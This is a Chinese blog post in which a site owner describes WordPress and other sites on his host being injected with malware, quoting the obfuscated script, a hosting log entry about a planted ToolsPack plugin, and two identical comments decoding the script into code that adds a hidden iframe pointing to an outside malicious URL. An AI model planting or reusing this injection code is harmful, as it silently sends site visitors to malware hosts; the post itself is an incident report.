网页挂马记

昨天,访问某blog,google提示该网页含有恶意软件之类的提示。而该blog在我的主机上。

症状是:在各wordpress网站目录的robots.txt里面出现下列代码。

<script>if(window.document)aa=new RegExp(‘test’,’i’).toString();aaa=’/test/i’;if(aa.indexOf(aaa)!==-1){ss=”;s=String;ee=’e’;e=window[ee+’val’];t=’w’;}h=-2;n=[“4.5w4.5w52.5w51w16w……………省略………….4.5w62.5”];n=n[0].split(t);f=’f’+’romChar’;for(i=0;i-n.length<0;i++){j=i;ss=ss+String[f+’Code’](-h*n[j]);}e(ss);</script>

于是,紧急删除,并且升级所有wordpress博客到最新版本,修改FTP总账户密码。

不久,网页又被挂马了,这次是出现在所有网站,包括discuz,wordpress,ucenter home等。而且这次代码是出现在index.php代码的第一行。

继续解决,然后联系主机客服,经过查询,主机客服回复道:

/usr/local/apache/domlogs/w757.com: 83.69.224.223 – – [13/Feb/2012:09:26:05 -0600] “POST /wp-content/plugins/ToolsPack/ToolsPack.php HTTP/1.0” 200 1 “-” “Mozilla/4.76 [en] (Win98; U)”
The file ToolsPack.php no longer exists on the account. I removed the remaining code injections I found.
This is a new strain of malware that our tools have not been finding.

一个俄罗斯ip,通过在我的wordpress安装了一个toolspack插件。不过主机商已经移除,我看不到这个文件的具体内容。

不确定是否是wordpress的漏洞?还有,那段js是加密后的,谁能解密一下并且告知内容及目的?文件下载

4 comments

  1. 那段js解密后的代码为:if (document.getElementsByTagName(‘body’)[0]) { iframer();} else { document.write(“”);}function iframer() { var f = document.createElement(‘iframe’); f.setAttribute(‘src’, ‘http://tds114.1dumb.com/stds/go.php?sid=1‘); f.style.visibility = ‘hidden’; f.style.position = ‘absolute’; f.style.left = ‘0’; f.style.top = ‘0’; f.setAttribute(‘width’, ’10’); f.setAttribute(‘height’, ’10’); document.getElementsByTagName(‘body’)[0].appendChild(f);}上面的代码,就是在页面中插入一个不可见的iframe, iframe所指向的地址,我这边打不开,显示DNS错误..

  2. 那段js解密后的代码为:if (document.getElementsByTagName(‘body’)[0]) { iframer();} else { document.write(“”);}function iframer() { var f = document.createElement(‘iframe’); f.setAttribute(‘src’, ‘http://tds114.1dumb.com/stds/go.php?sid=1‘); f.style.visibility = ‘hidden’; f.style.position = ‘absolute’; f.style.left = ‘0’; f.style.top = ‘0’; f.setAttribute(‘width’, ’10’); f.setAttribute(‘height’, ’10’); document.getElementsByTagName(‘body’)[0].appendChild(f);}上面的代码,就是在页面中插入一个不可见的iframe, iframe所指向的地址,我这边打不开,显示DNS错误..

Comments are closed.